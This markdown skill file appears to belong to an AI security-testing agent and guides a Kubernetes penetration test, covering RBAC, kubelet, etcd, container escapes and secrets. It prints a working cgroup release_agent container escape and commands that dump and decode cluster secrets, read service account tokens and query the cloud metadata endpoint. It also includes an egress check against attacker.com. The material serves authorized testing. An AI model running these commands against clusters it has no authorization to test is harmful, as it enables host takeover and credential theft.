strix/skills/cloud/kubernetes.md
Kubernetes clusters expose a large attack surface through their API server, kubelet, etcd, and workload configurations. Misconfigurations in RBAC, network policies, and container security contexts are common and frequently lead to privilege escalation, lateral movement, and cluster takeover. This skill covers direct cluster access scenarios. For SSRF-mediated Kubernetes access, see the ssrf skill.
Scope
Entry Points
Authentication Methods
/var/run/secrets/kubernetes.io/serviceaccount/token)system:anonymous / system:unauthenticated, with only explicitly bound RBAC permissions such as public discovery/info roles)verbs: ["*"], resources: ["*"]cluster-admin bound to service accounts that don't need itautomountServiceAccountToken: true (the default) when no API access is neededsystem:anonymous or system:unauthenticated group bound to permissive rolesescalate, bind, or impersonate verbsTest:
kubectl auth can-i --list
kubectl auth can-i create pods --as=system:serviceaccount:default:default
kubectl get clusterrolebindings -o json | jq '.items[] | select(.subjects[]?.name == "system:anonymous")'
--anonymous-auth=true and permissive RBAC for anonymous users/pods, /spec, /statsetcdctl get / --prefix --keys-only/metrics, /debug/pprof) leaking internal stateTest:
curl -sk https://<api-server>:6443/api/v1/namespaces
curl -s http://<node-ip>:10255/pods
curl -s http://<node-ip>:10255/metrics
privileged: true in securityContext grants all Linux capabilities and device accesshostPID: true enables /proc access to host processes, nsenter to host namespacehostNetwork: true places the pod on the host network stack/var/run/docker.sock, /run/containerd/containerd.sock)CAP_SYS_ADMIN + unconfined AppArmor enables mount namespace escapes via cgroup release_agenthostPath mounts to /, /etc, or /var/runTest:
# Check if running privileged
cat /proc/1/status | grep -i cap
# List host processes via hostPID
ls /proc/*/cmdline 2>/dev/null | head -20
# Check for mounted sockets
ls -la /var/run/docker.sock /run/containerd/containerd.sock 2>/dev/null
# cgroup v1 release_agent escape (privileged + CAP_SYS_ADMIN)
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*upperdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/exploit.sh" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /exploit.sh && echo "ps aux > $host_path/out" >> /exploit.sh && chmod +x /exploit.sh
sh -c 'echo $$ > /tmp/cgrp/x/cgroup.procs'
Test:
kubectl get networkpolicies --all-namespaces
# From inside a pod, test lateral reach
curl -s http://<other-pod-ip>:<port>/
curl -s http://169.254.169.254/latest/meta-data/
nslookup attacker.com
/proc/*/environ, docker inspect, crash dumps)Test:
kubectl get secrets --all-namespaces -o json | jq '.items[].metadata.name'
kubectl get secret <name> -o json | jq '.data | map_values(@base64d)'
env | grep -iE 'password|key|token|secret|credential'
cat /var/run/secrets/kubernetes.io/serviceaccount/token
runAsUser: 0 or no securityContext set)readOnlyRootFilesystem: trueallowPrivilegeEscalation: true (the default)seccompProfile or AppArmor annotationsTest:
kubectl get pods -o json | jq '.items[].spec.containers[].securityContext'
kubectl get pods -o json | jq '.items[] | select(.spec.containers[].securityContext.privileged == true) | .metadata.name'
:latest tag is mutable)Test:
kubectl get pods -o json | jq '.items[].spec.containers[].image' | grep -v '@sha256'
kubectl get pods -o json | jq '.items[].spec.containers[].image' | grep ':latest'
Token Reuse
Label Manipulation
update on namespacesAdmission Webhook Bypass
failurePolicy: Ignore silently bypass validationKubelet Direct Access
curl -sk https://<node>:10250/runningpods/kubectl auth whoami, kubectl auth can-i --listkubectl get all -Akube-bench for CIS compliance, kubesec for workload hardening scores, trivy for image CVEskubectl auth can-i returning yes for service accounts that are restricted by admission controllers or OPA policies:latest tag but pulled from a private registry with immutable tags enabledkubectl auth can-i --list to understand your blast radius before probing anything/var/run/secrets/ are your first pivot point from any compromised podkube-system namespace access - controllers there often have cluster-admin equivalent permissionskube-bench output is noisy but highlights the CIS benchmark failures that matter mostCAP_SYS_ADMIN (via privileged: true or an explicit capability grant) plus permissive AppArmor/seccomp confinementsh.helm.release.v1.*) in kube-system often contain credentials from chart valuesdig +short SRV *.*.svc.cluster.local--as= impersonation to check what other service accounts can doKubernetes security failures typically chain: a single misconfigured role binding or missing network policy enables lateral movement, which leads to secret extraction, which leads to cloud credential access. Test the chain, not just individual findings. Start from the auth context you have, enumerate what it can reach, and escalate methodically.